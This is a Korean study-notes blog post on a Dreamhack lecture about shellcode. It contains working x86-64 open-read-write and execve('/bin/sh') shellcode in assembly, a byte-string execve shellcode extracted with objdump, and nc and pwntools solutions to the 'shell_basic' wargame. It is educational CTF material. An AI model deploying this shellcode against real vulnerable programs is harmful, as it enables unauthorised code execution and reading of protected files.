TIL : Shellcode ๐Ÿš

https://dreamhack.io/lecture/courses/50

Shellcode๋Š” exploit์„ ์œ„ํ•ด ์ œ์ž‘๋œ assembly code ์กฐ๊ฐ์„ ๋งํ•œ๋‹ค.

๋งŒ์•ฝ rip๋ฅผ ์ž์‹ ์ด ์ž‘์„ฑํ•œ shellcode๋กœ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์‚ฌ์‹ค์ƒ ์›ํ•˜๋Š” ๋ชจ๋“  ๋ช…๋ น์„ CPU์— ๋‚ด๋ฆด ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

orw shellcode

์˜์‚ฌ ์ฝ”๋“œ

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

syscall

syscall rax arg0ย (rdi) arg1ย (rsi) arg2ย (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

assemly

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

โ€œ/tmp/flagโ€๋ฅผ ๋„ฃ์„ ๋•Œ little endian์„ ๊ณ ๋ คํ•ด์•ผ ํ•˜๊ณ , 8๊ธ€์ž์”ฉ ๋’ค์ง‘ํžŒ๋‹ค๋Š” ์‚ฌ์‹ค์„ ๋†“์น˜์ง€ ๋ง์ž.

โ€œalf/pmt/โ€ โ†’ 0x616c662f706d742f

โ€œgโ€ โ†’ 0x67

skeleton code for compiling

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

assembly๋ฅผ skeleton code์— ๋„ฃ์€ ๋’ค ์‹คํ–‰ํ•˜๋ฉด, ์…ธ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜์–ด /tmp/flag์— ์ €์žฅ๋œ ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋œ๋‹ค.

execve shellcode

execve shellcode๋Š” shell program์„ ์‹คํ–‰ํ•˜๋Š” shellcode์ด๋‹ค.

์˜์‚ฌ ์ฝ”๋“œ

execve("/bin/sh", null, null);

syscall

syscall rax arg0ย (rdi) arg1ย (rsi) arg2ย (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

assembly

`;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

์œ„์˜ ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ์— assembly๋ฅผ ๋„ฃ๊ณ  ์‹คํ–‰ํ•˜๋ฉด, /bin/sh๊ฐ€ ์‹คํ–‰๋œ๋‹ค.

objdump๋ฅผ ์ด์šฉํ•œ shellcode ์ถ”์ถœ

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm //assemble shellcode.asm
$ objdump -d shellcode.o //disassemble shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 
execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

Wargame: shell_basic

์ฃผ์–ด์ง„ ํ”„๋กœ๊ทธ๋žจ์€ ์ž…๋ ฅํ•œ shellcode๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

/home/shell_basic/flag_name_is_loooooong์— ์žˆ๋Š” flag๋ฅผ ๊ตฌํ•˜๋ฉด ๋œ๋‹ค.

Solution 1 - ์ง์ ‘ assembly ์ž‘์„ฑํ•˜๊ธฐ

  1. orw shellcode๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

    ์ด๋•Œ /home/shell_basic/flag_name_is_loooooong์„ 8์ž์”ฉ ๋Š์–ด์„œ stack์— ๋„ฃ์–ด์ค˜์•ผํ•จ์— ์ฃผ์˜ํ•œ๋‹ค.

    gnoooooo โ†’ 0x676e6f6f6f6f6f6f

    โ€ฆ

    hs/emoh/ โ†’ 0x68732f656d6f682f

     section .text
     global _start
     _start:
     push 0
     mov rax, 0x676e6f6f6f6f6f6f
     push rax
     mov rax, 0x6c5f73695f656d61
     push rax
     mov rax, 0x6e5f67616c662f63
     push rax
     mov rax, 0x697361625f6c6c65
     push rax
     mov rax, 0x68732f656d6f682f
     push rax
     mov rdi, rsp
     mov rax, 0x02
     xor rsi, rsi
     xor rdx, rdx
     syscall
    
     mov rdi, rax
     mov rax, 0
     mov rsi, rsp
     sub rsi, 0x30
     mov rdx, 0x30
     syscall
    
     mov rdi, 1
     mov rax, 1
     syscall
    
  2. shellcode๋ฅผ binary ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค.

     $ nasm -f elf64 test.asm
     $ objcopy --dump-section .text=test.bin test.o
    
  3. ๋ณ€ํ™˜ํ•œ binary๋ฅผ ๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ ์ฃผ์†Œ๋กœ ์ „์†กํ•œ๋‹ค.

     $ cat test.bin | nc host3.dreamhack.games 12345
    

Solution 2 - pwntool ํ™œ์šฉํ•˜๊ธฐ

from pwn import *
r = remote('host3.dreamhack.games', 12345)
context.arch = 'amd64'

sh = shellcraft.amd64.open('/home/shell_basic/flag_name_is_loooooong')
sh += "sub rsp, 100\n"
sh += shellcraft.amd64.read('rax', 'rsp', 100)
sh += shellcraft.amd64.write(1, 'rsp', 100)
# print("sh:", sh)
mc = asm(sh)
r.send(mc)
r.interactive()

Leave a comment